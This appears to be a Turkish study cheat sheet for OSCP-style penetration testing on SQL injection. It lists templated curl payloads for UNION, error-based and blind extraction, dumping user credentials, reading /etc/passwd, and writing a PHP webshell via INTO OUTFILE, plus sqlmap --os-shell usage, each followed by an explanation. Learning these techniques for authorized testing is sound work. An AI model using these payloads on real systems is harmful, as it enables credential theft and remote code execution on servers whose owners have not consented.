SQL Injection — Tespit, UNION, Error/Blind ve INTO OUTFILE Webshell
SQLi tespiti, kolon sayısı bulma (ORDER BY/UNION), UNION-based veri çekme, error-based extractValue, boolean ve time-based blind, MySQL INTO OUTFILE ile webshell yazma, ve sınavda kısıtlı olan sqlmap kullanımı.
- Kullanıcı girdisinin SQL sorgusuna karıştığına dair belirti (hata, davranış değişikliği)
Komutlar
curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=1'" curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=1' ORDER BY 5-- -" curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=-1' UNION SELECT 1,2,3,4-- -" curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=-1' UNION SELECT 1,version(),current_user(),database()-- -" curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=-1' UNION SELECT 1,table_name,table_schema,4 FROM information_schema.tables-- -" curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3,4 FROM users-- -" curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=1' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -" curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=1' AND substring(database(),1,1)='a'-- -" curl -s -w '%{time_total}\n' "http://{{RHOST}}:{{RPORT}}/item.php?id=1' AND IF(substring(database(),1,1)='a',sleep(5),0)-- -" curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=-1' UNION SELECT 1,'<?php system($_GET[1]); ?>',3,4 INTO OUTFILE '/var/www/html/sh.php'-- -" curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=-1' UNION SELECT 1,load_file('/etc/passwd'),3,4-- -" sqlmap -u 'http://{{RHOST}}:{{RPORT}}/item.php?id=1' --batch --dbs sqlmap -r request.txt --batch --os-shell Tespit
Parametreye ', ", ) eklenerek hata/davranış değişimi gözlenir. Sayısal bağlamda id=1 AND 1=1 (normal) vs id=1 AND 1=2 (farklı) klasik ayrımdır. String bağlamda tırnak kapatma gerekir. Yorum kapatıcı olarak MySQL’de -- - (boşluk+tire) veya # kullanılır.
UNION-based
En hızlı veri çekme yolu. Önce ORDER BY n ile kolon sayısı bulunur (hata verdiği n-1). Sonra UNION SELECT 1,2,3,... ile hangi kolonun ekrana yansıdığı görülür. Ana sorgunun sonucunu boşaltmak için id negatif (-1) yapılır. Yansıyan kolona version(), database(), group_concat(...) yerleştirilir. Veri tabanı/tablo/kolon keşfi information_schema üzerinden yapılır.
Error-based
Çıktı görünmüyor ama hata mesajları yansıyorsa extractvalue(1,concat(0x7e,(subquery))) veya updatexml ile veri hata metnine taşınır. 0x7e = ~ karakteri, sonuç ~‘den sonra görünür.
Blind
Ne çıktı ne hata yansıyorsa blind kalır:
- Boolean:
AND substring(...,1,1)='a'koşulu sayfa içeriğini değiştirir; doğru/yanlış ayrımıyla karakter çıkarılır. - Time-based:
IF(cond, sleep(5), 0)ile yanıt süresi koşula bağlanır.curl -w '%{time_total}'ile ölçülür. Yavaş ama güvenilirdir.
RCE’ye Çıkış
MySQL’de FILE privilege varsa ve secure_file_priv boşsa INTO OUTFILE ile web köküne PHP webshell yazılabilir; web kökü genelde load_file('/etc/apache2/sites-enabled/...') veya phpinfo ile bulunur. Yazma izni ve doğru yol kritik gotcha’dır. load_file() ile config/SSH key okuma da mümkündür.
sqlmap ve Sınav Kısıtı
sqlmap güçlüdür ama OSCP’de otomatik istismar araçları yalnızca sınav talimatında belirtilen tek hedefte serbesttir; geri kalan makinalarda manuel yapılmalıdır. --batch etkileşimsiz çalışır, -r request.txt ile Burp isteği beslenir. Pratik için kullanılır, sınavda kapsam kurallarına dikkat edilir.